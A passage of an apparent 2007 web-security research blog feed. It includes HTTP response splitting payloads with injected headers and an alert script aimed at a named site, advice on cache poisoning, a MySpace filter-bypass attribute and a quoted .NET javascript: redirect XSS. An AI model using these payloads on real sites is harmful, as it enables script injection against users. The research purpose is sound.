nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;%0d%0aHTTP/1.x&amp;nbsp;200&amp;nbsp;OK%0d%0aKeep-Alive:&amp;nbsp;timeout=5%0d%0aConnection:&amp;nbsp;Keep-Alive%0d%0aContent-Type:&amp;nbsp;text/html%0d%0aContent-Length:&amp;nbsp;55%0d%0a%0d%0a&amp;lt;html&amp;gt;&amp;lt;script&amp;gt;alert(document.location)&amp;lt;/script&amp;gt;&amp;lt;/html&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;But it doesn't work on Opera 8, Opera 8 works the way you would sort of expect a browser to work, in that it begins reading the stream from where it left off, and so we don't need to provide much whitespace:&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="color: #f63;"&gt;http://www.dataplace.org/redir.html?url=index.html%0d%0aKeep-Alive: timeout=60%0d%0aConnection: Keep-Alive%0d%0aContent-Type: text/html%0d%0aContent-Length: 0%0d%0a%0d%0a%0d%0aHTTP/1.x 200 OK%0d%0aKeep-Alive: timeout=5%0d%0aConnection: Keep-Alive%0d%0aContent-Type: text/html%0d%0aContent-Length: 55%0d%0a%0d%0a&amp;lt;html&amp;gt;&amp;lt;script&amp;gt;alert(document.location)&amp;lt;/script&amp;gt;&amp;lt;/html&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;3.0 Implementation Notes&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;If anyone wants to use this to use this to perform browser cache poisoning attacks (either to hide the suspicious URL or something similar) then the best way would probably be to check if the URL you are poisoning sends an Etag header and if so replicate that header so that when the browser sends a If-Modified-Since header, then the web server will honestly say it hasn't, if the resource you want to poison is a dynamic resource, you'll have to rely on the Cache-Control and Date headers alone (though these should be used along with the Etag header).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;4.0 Conclusion&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;So as we can see, we don't need a proxy to implement interesting protocol oriented HTTP Response Splitting attacks, and hopefully someone with a deeper understanding of browsers than me can figure out why the above attacks aren't working in Firefox and Opera 9.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-2802146343120177166?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/2802146343120177166/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=2802146343120177166' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/2802146343120177166'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/2802146343120177166'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/http-response-splitting-attacks-without.html' title='HTTP Response Splitting Attacks Without Proxies'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-6587622102308307647</id><published>2007-01-30T12:04:00.000+11:00</published><updated>2007-01-30T12:15:47.773+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySpace'/><category scheme='http://www.blogger.com/atom/ns#' term='RCSR'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>MySpace doesn't understand browsers (RCSR info)</title><content type='html'>You know what I hate? Advisories without enough info to verify a bug or PoC code. For example: &lt;a href="http://www.info-svc.com/news/01-29-2007/myspace/"&gt;http://www.info-svc.com/news/01-29-2007/myspace/&lt;/a&gt; provides no information to anyone about what the nature of the issue is, or anything, it just says there is an issue, and of course once they do disclose something there is no proof that they did actually find something. And even more than that; I honestly don't care about people declaring that they've found security issues without giving specifics.&lt;br /&gt;&lt;br /&gt;Anyway, I thought I'd go have a look myself, and here is a little snippet which works in both IE and Firefox;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;input type_="password" type=`password`&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Whether this is what Chapin Information Services found is unclear since they didn't release anything, but what is clear is that MySpace clearly understand the Non-Digit-Non-Alpha issue extends to all attributes, nor do they seem to understand that IE also allows grave accents (`) to be used instead of (single or double) quotes.&lt;br /&gt;&lt;br /&gt;I really don't understand how many times they need to fix these issues before they begin to understand them.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-6587622102308307647?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/6587622102308307647/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=6587622102308307647' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6587622102308307647'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6587622102308307647'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/01/myspace-doesnt-understand-browsers-rcsr.html' title='MySpace doesn&apos;t understand browsers (RCSR info)'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-5698089813168671646</id><published>2007-01-26T18:19:00.000+11:00</published><updated>2007-01-26T19:21:29.068+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='General Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>A Month In Obscurity</title><content type='html'>Firstly, sorry about the lack of content in the last few days, I've been busy with yet another new paper/project, and life in general, so I haven't had a chance to write up my research and post it, and I don't see myself having much time to write something up this weekend, but come Monday or Tuesday I'll most likely start posting again.&lt;br /&gt;&lt;br /&gt;But in the mean time, I thought I'd post some interesting but rather obscure things I've found on the internet. Obscure is being defined as not being mentioned on ha.ckers, so a lot of people might know a lot of these, but I think that most people won't know all of them. Oh, and this isn't strictly content from January, it primarily is, but anything interesting I found lately and thought most people wouldn't know about is link worthy. If you think you know anything else, please write a comment or something.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sla.ckers.org/forum/read.php?2,4565,4696"&gt;.NET Framework bug and XSS&lt;/a&gt; by xknown.&lt;br /&gt;&lt;br /&gt;Essentially, xknown found out that when .NET pages use the Response.Redirect, the function does not check whether or not the URL provided is a URL which you can redirect to using the location header, and so it is possible to send a javascript: URI which the page will attempt to redirect you to and fail, but it will then print it out on the page like so:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Object moved&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;h2&amp;gt;Object moved to &amp;lt;a href="javascript:alert('XSS')"&amp;gt;here&amp;lt;/a&amp;gt;.&amp;lt;/h2&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt; &lt;/code&gt;&lt;br /&gt;&lt;br /&gt;And if the user clicks on the link, they will execute your JS. Of course data: and similar URIs can also be used.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.jumperz.net/index.php?i=2&amp;a=3&amp;b=3"&gt;Anti-DNS Socket Pinning + Flash&lt;/a&gt; by Kanatoko.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;With Anti-DNS Pinning, we can break the same-origin policy.&lt;br /&gt;Not only JavaScript, but also FLASH and Java Applet are affected.&lt;br /&gt;&lt;br /&gt;FLASH has the Socket class in the new version of FLASH Player ( version 9.0 or higher, ActionScript 3.0 ).&lt;br /&gt;&lt;br /&gt;--Quoted from the documentation--&lt;br /&gt;The Socket class enables ActionScript code to make socket connections and to read and write raw binary data.&lt;br /&gt;The Socket class is useful for working with servers that use binary protocols.&lt;br /&gt;----&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://landonf.bikemonkey.org/code/macosx/"&gt;Month of Apple Fixes&lt;/a&gt; by Landon Fuller.&lt;br /&gt;&lt;br /&gt;I think the title is pretty self-explanatory here, and while I didn't think this was really worth a mention here, I thought I might as well chuck it in here, since not everyone keeps on top of these things.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ilia.ws/archives/152-Cross-Domain-POST-Redirection.html"&gt;Cross-Domain POST Redirection&lt;/a&gt; by Ilia Alshanetsky.&lt;br /&gt;&lt;br /&gt;Not exactly new research, but something most people don't know about, I wonder if phishers will start using this instead of MITM phishing kits which generated so much pointless publicity.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.harrymaugans.com/2007/01/22/digg-this-blog-security-vulnerabilities-found/"&gt;Digg This - Blog Security Vulnerabilities Found&lt;/a&gt; by Harry Maugans.&lt;br /&gt;&lt;br /&gt;Harry found a bug in the Digg This wordpress plugin that blindly assumed that the first hit to come to a page from digg must be coming from the link to the submitted story, and so a spammer can easily get people digg their own articles instead of the articles posted on a blog. Great find by Harry, and great ingenuity by the spammers IMO.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.uninformed.org/?v=6"&gt;Uninformed Issue 6 Was Released&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Uninformed is a technical outlet for research in areas pertaining to security technologies, reverse engineering, and lowlevel programming. The goal, as the name implies, is to act as a medium for informing the uninformed. The research presented here is simply an example of the evolutionary thought that affects all academic and professional disciplines. &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Its articles are of impecable quality, so I say everyone with even a cursory interest in low level programming or similar should check it out.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.w4ck1ng.com/board/showthread.php?t=3055"&gt;Tricking forums about image size (Animated GIFs)&lt;/a&gt; Analysis by Captbox, image example supplied by Xoferif.&lt;br /&gt;&lt;br /&gt;What Captbox was able to find out from the image Xoferif provided was that while GIF images do have global size data, in animated GIFs, that size data is ignored in favor of frame size data, and since most (probably all) forums only check the global size data, we are able to supply images of any size no matter what restrictions are placed on us.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://msdn.microsoft.com/msdnmag/issues/06/11/SQLSecurity/default.aspx"&gt;New SQL Truncation Attacks And How To Avoid Them&lt;/a&gt; by Bala Neerumalla.&lt;br /&gt;&lt;br /&gt;This one is a bit hard to explain, so I say you should just go read the article, it'll definately be worth your time.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sla.ckers.org/forum/read.php?3,5905"&gt;MySpace's "Domain Generalisation" Vulnerability&lt;/a&gt; by trev.&lt;br /&gt;&lt;br /&gt;trev found a way to exploit MySpace's domain generalisation (which exists so that all the myspace subdomains can interact via Javascript) using the fact that the domain names we enter are not full names, but only partial names, because full names end in a dot, signalling that the .com address is a subsidary of the root address, rather than some other address, anyway, its an interesting thread - you should read it.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blackalchemy.to/project/fakeap/"&gt;Fake AP&lt;/a&gt; by Black Alchemy.&lt;br /&gt;&lt;br /&gt;This is a fairly old project, which I only found out about a week ago, and while its not revolutionary or anything, I thought it was interesting enough to tell people about. It also showcases the huge difference between web and network security (try to come up with a situation in web security where hiding in misinformation/plain sight was ever possible - if you think of something; email me).&lt;br /&gt;&lt;br /&gt;And those are the interesting links I've found in the last month which the other blogs I linked to haven't (to my knowledge) covered.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-5698089813168671646?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/5698089813168671646/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=5698089813168671646' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5698089813168671646'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5698089813168671646'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/01/month-in-obscurity.html' title='A Month In Obscurity'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-6402181393845079101</id><published>2007-01-24T10:29:00.000+11:00</published><updated>2007-03-20T19:23:06.143+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>defy.js</title><content type='html'>Well, I was kinda bored this morning and had the (very questionably) great idea of writing a snippet of code to delete all Javascript overloading, and reinstate the XMLHttpRequest Object:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;function extractXHR () {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var iframe = document.createElement('iframe');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;iframe.name='test';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;iframe.src='http://www.google.com/';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;iframe.style.display = 'none';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;document.body.appendChild(iframe);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;window.XMLHttpRequest= window.frames.test.XMLHttpRequest;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;document.body.removeChild(iframe);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function recursive_delete (object) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var failed;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for (obj in object) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;failed = 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;delete window[obj];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} catch (e) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;failed = 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (failed = 0) {&lt;br 